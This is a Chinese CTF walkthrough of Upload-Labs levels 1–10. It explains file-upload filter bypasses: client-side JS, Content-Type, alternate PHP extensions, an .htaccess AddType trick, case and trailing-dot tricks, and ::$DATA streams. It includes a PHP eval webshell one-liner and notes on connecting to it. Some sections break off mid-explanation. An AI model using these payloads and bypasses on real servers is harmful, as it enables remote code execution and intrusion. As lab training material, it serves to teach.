Upload-Labs-Linux 1-20
目录
一打开是有介绍的,这是一个非常好的练习webshell的题目,提供了20种类型,有些方法可以通用,但要知道做题目的是掌握更多技能,所以每题都要好好做,题目由简入难,开始做题前先看一下这个。
pass-1: 前端js验证
题目以及给出源代码,可以对比一下其他题的代码,你会发现这个题目是没有GET或者POST传参的,再看一下代码类型,你不难发现这其实是一个js,说明这个题目提交文件的时候是需要在当前浏览器检查文件类型的,所以根据出题思路,最普通的就是绕过js,所以我们就要找到方法,使Google浏览器按f12再按f1,我们可以打开后台看到选项。
看到调试程序的禁用,打勾。
再进行上传一句话木马,如果你不知道一句话木马的话,快去学习一下。
<?php @eval($_POST['cmd']);?>
创建一个php文件,写入这么一句代码。
然后上传,打开蚁剑进行连接,这里有一点要注意,地址是 图片右击复制地址,密码为cmd。
连接成功后在根目录就可以找到flag,不过这并不是我们目的,找到flag也只是锻炼技能所以继续下一题,记得删除文件再开始,
Pass-2:Content-Type绕过
根据提示和代码发现数据包会对文件类型辨别,只接受jpef/gif/png类型,这其实有很多思路,但根据提示应该是让我们通过content-type 进行绕过,所以用burp进行抓包,
Pass-3:特殊后缀名解析绕过
这题目你会发现不能上传文件名中含有PHP的文件了,改变content-typed类型不管用了,而因为黑名单过滤禁用.asp
,aspx
,php
,jsp。但是
一些特殊的后缀名文件可能会被Apache
的配置文件httpd.conf
当做php
来解析。(可以了解一下文件上传到服务器机制原理,了解Apache的作用)
php3 php5 pht phtm phtml ......
把后缀修改到可以的,其他就一样了。
Pass-4:.htaccess绕过
这一题你发现禁用了这些特殊的后缀名,所以需要想别的方法,这里用到了一个知识点,黑名单机制过滤了大量后缀名,但是没有过滤.htaccess
.htaccess文件也被称为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或者多个指令的文件,以作用于此目录及其所有子目录。
.htaccess可以用于文件密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定ip地址的用户、这个功能默认是不开启的。
创建一个这样后缀的文件,然后写入
AddType application/x-httpd-php .jpg
这个指令的含义是告诉服务器将以 .jpg 结尾的文件视为 PHP 文件。通常,.jpg 文件被认为是图片文件,但通过将其与 PHP 关联起来,服务器会将这些文件解析为 PHP 代码并执行。
通常情况下,服务器只会解析以 .php、.html 等扩展名结尾的文件作为 PHP 或 HTML 代码。但是,通过添加
AddType
指令并指定application/x-httpd-php
类型,服务器会将指定的文件扩展名(此例中为 .jpg)与 PHP 关联起来,使其可以作为 PHP 脚本执行。
因为jpg类型并没有过滤,所以把一句话木马后缀名改为png上传即可,服务器自己会解析为php语言,只要是没在黑名单中的都是可以的,根据你自己喜欢选择。但htaccess文件写入的内容要相应改变.
Pass-5:后缀大小写绕过
发现htaccess也已经背禁用,不过
发现这题代码和上一题少了一个转换大小写验证,所以这题应该是让我们用大小写绕过,
一般情况下,文件类型后缀的大小写是没有区别的。在大多数操作系统和网络环境中,文件扩展名的大小写是不敏感的,也就是说,不管是大写还是小写形式,它们被视为相同的文件类型。
例如,对于一个名为 “image.jpg” 的文件和一个名为 “image.JPG” 的文件,在大多数情况下,它们被视为相同的文件类型,都是 JPEG 图像文件。这意味着,无论您使用小写的 “.jpg” 还是大写的 “.JPG”,它们会被认为是相同的文件类型,并在应用程序或服务器中以相同的方式进行处理。
然而,需要注意的是,在某些特定的操作系统、文件系统或应用程序环境中,可能会对文件扩展名的大小写敏感。因此,在编写代码或处理文件类型时,最好遵循一致的约定,并对文件扩展名进行一致的处理。这样可以确保代码在不同环境中的一致性和可移植性。
所以任意修改一下后缀大小写即可。
Pass-6:文件后缀加点绕过
这题代码和之前少了一个删除空格,所以自然想到使用空格
只有当服务器是
Windows
这种方法才可行,在shell.php
后面加个空格即可,Windows
的操作系统对文件名后有空格会直接去掉空格当做php
文件解析.
Pass-7:利用函数漏洞绕过
$file_ext = strrchr($file_name, '.');
需要了解一下这个函数的功能
这行代码使用了PHP内置函数
strrchr()
来获取文件名中最后一个出现的.
之后的部分,即文件的扩展名。具体解释如下:
$file_name
是一个包含文件名的字符串,例如 “example.jpg”。strrchr()
函数返回$file_name
字符串中最后一个出现的.
字符及其之后的部分。如果在$file_name
中找不到.
字符,那么strrchr()
函数将返回false
。- 所以,
$file_ext
变量将包含扩展名的部分(包括.
字符),例如 “.jpg”。
会发现他是只找最后一个点,那我们如果用shell.php.是不是返回.后面是空的,那这个函数就不会截取到数据,那么就可以绕过下文的,仔细了解一下这个代码。
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}
Pass-8:::$DATA(Windows文件流绕过)
这题代码比前面少了一个
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
所以明显要我们用这个知识点,所以
“::$DATA” 是 Windows 操作系统中的一个特殊标记,在某些情况下会出现在文件名的末尾。它表示文件是由另一个文件(通常是一个文件的剪贴板副本)或挂载点生成的数据流。
例如,如果你有一个文件名为 “example.txt” 的文本文件,当你将其复制到剪贴板,并将粘贴的文件重命名为 “example.txt::$DATA”,那么这个新文件会被视为是 “example.txt” 文件的数据流副本。
对于绝大多数应用和操作系统来说,文件名中包含 “::
上传shell.php::$DATA即可
Pass-9:deldot漏洞
文件多了一个deldot函数,查询这个函数作用
deldot(file_name); //删除文件名末尾的点
所以发现他只是消除一个点,那我们直接传两个点的,就可以绕过。
上传shell.php..
Pass-10 :str_ireplace
PS:$file_ext = str_ireplace('::$DATA', '', $file_ext);可以使用双写绕过接着用Windows文件流绕过
这个函数是出去原来黑名单有的关键字,但我们可以运用这个弊端,就像水果消消乐消掉一部分,另一部分补过来依然会组成一组,而这里函数只用一次,所以传shell.pphphp.消掉第一个php剩下shell.php,所以依然可以 .